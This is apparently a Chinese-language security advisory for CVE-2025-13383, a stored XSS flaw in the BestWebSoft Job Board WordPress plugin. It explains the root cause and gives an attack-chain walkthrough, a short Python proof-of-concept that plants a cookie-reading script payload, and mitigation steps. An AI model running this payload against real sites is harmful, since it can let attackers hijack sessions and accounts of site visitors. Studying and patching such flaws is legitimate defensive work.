CVE-2025-13383 WordPress Job Board插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-13383

漏洞类型

存储型跨站脚本攻击（Stored XSS）

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Job Board by BestWebSoft WordPress插件

漏洞概述

CVE-2025-13383是WordPress平台下Job Board by BestWebSoft插件的一个中危安全漏洞，CVSS评分6.1。该漏洞为存储型跨站脚本（Stored Cross-Site Scripting）漏洞，影响该插件1.2.1及以下所有版本。漏洞的根本原因在于插件在保存用户搜索结果时，直接将未经过滤和消毒的$_GET超全局数组完整地存储到数据库中（通过update_user_meta()函数），随后在用户访问保存的搜索结果或查看个人资料时，这些数据被直接输出而没有进行适当的HTML转义或输出编码。这使得未认证的攻击者能够通过构造恶意搜索请求，在受害者的浏览器中注入并执行任意JavaScript脚本。由于攻击代码被永久存储在数据库中，任何访问该搜索结果的用户都会受到攻击，攻击具有持续性和广泛影响范围。

技术细节

漏洞存在于Job Board插件的搜索保存功能模块中。具体来说，当用户执行搜索操作并选择保存搜索结果时，插件直接获取$_GET数组并通过update_user_meta()函数将其存储为用户元数据。问题代码位于job-board.php文件的第1680行（数据存储）和第2354-2355行（数据输出）附近。攻击者可以构造包含恶意JavaScript代码的URL参数（如?search=<script>alert(document.cookie)</script>），当受害者访问包含该恶意脚本的保存搜索结果页面时，脚本将在受害者浏览器上下文中执行。攻击者可利用此漏洞窃取用户会话Cookie、劫持用户账户、执行任意UI操作或重定向用户到恶意网站。由于输出点在用户个人资料页面和搜索结果页面，攻击覆盖面较广。攻击成功的前提条件是用户需要被诱导进行搜索并保存结果，但攻击者可以通过社会工程学手段提高用户交互的可能性。

攻击链分析

STEP 1

步骤1

攻击者构造包含恶意JavaScript代码的搜索URL参数，如?s=<script>alert(document.cookie)</script>

STEP 2

步骤2

攻击者通过社会工程学手段诱导受害者访问该恶意搜索URL并保存搜索结果

STEP 3

步骤3

插件将未经过滤的$_GET数组通过update_user_meta()函数直接存储到WordPress数据库中

STEP 4

步骤4

当受害者访问保存的搜索结果页面或查看个人资料时，恶意脚本被从数据库取出并直接输出到页面

STEP 5

步骤5

恶意JavaScript代码在受害者浏览器中执行，可窃取Cookie、劫持会话或执行其他恶意操作

STEP 6

步骤6

攻击具有持久性，所有访问该保存搜索结果的用户都会受到攻击

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import urllib.parse

# CVE-2025-13383 PoC - Stored XSS in Job Board by BestWebSoft plugin
# Target: WordPress site with Job Board plugin <= 1.2.1

target_url = "http://target-wordpress-site.com/"

# Construct malicious XSS payload
xss_payload = "<script>alert(document.cookie)</script>"
encoded_payload = urllib.parse.quote(xss_payload)

# Step 1: Craft malicious search URL with XSS payload
malicious_url = f"{target_url}?s={encoded_payload}&job-board-search=Save+Search"

# Step 2: Send request to save search with XSS payload
# This will store the unsanitized $_GET data via update_user_meta()
print(f"[*] Sending malicious request to: {malicious_url}")
response = requests.get(malicious_url, allow_redirects=True)

# Step 3: When any user views the saved search or profile,
# the XSS payload will execute in their browser
if response.status_code == 200:
    print("[+] Malicious search saved successfully")
    print("[+] XSS payload stored in database")
    print("[+] Payload will execute when users view saved searches")
else:
    print("[-] Failed to save malicious search")

影响范围

Job Board by BestWebSoft插件 <= 1.2.1（所有版本）

防御指南

临时缓解措施

如果无法立即升级插件，可采取以下临时缓解措施：1）限制用户保存搜索结果的功能；2）部署Web应用防火墙（WAF）规则过滤恶意脚本标签；3）禁用或限制Job Board插件的搜索保存功能；4）加强用户安全意识培训，提醒用户不要点击可疑链接；5）考虑暂时禁用Job Board插件直至完成安全更新。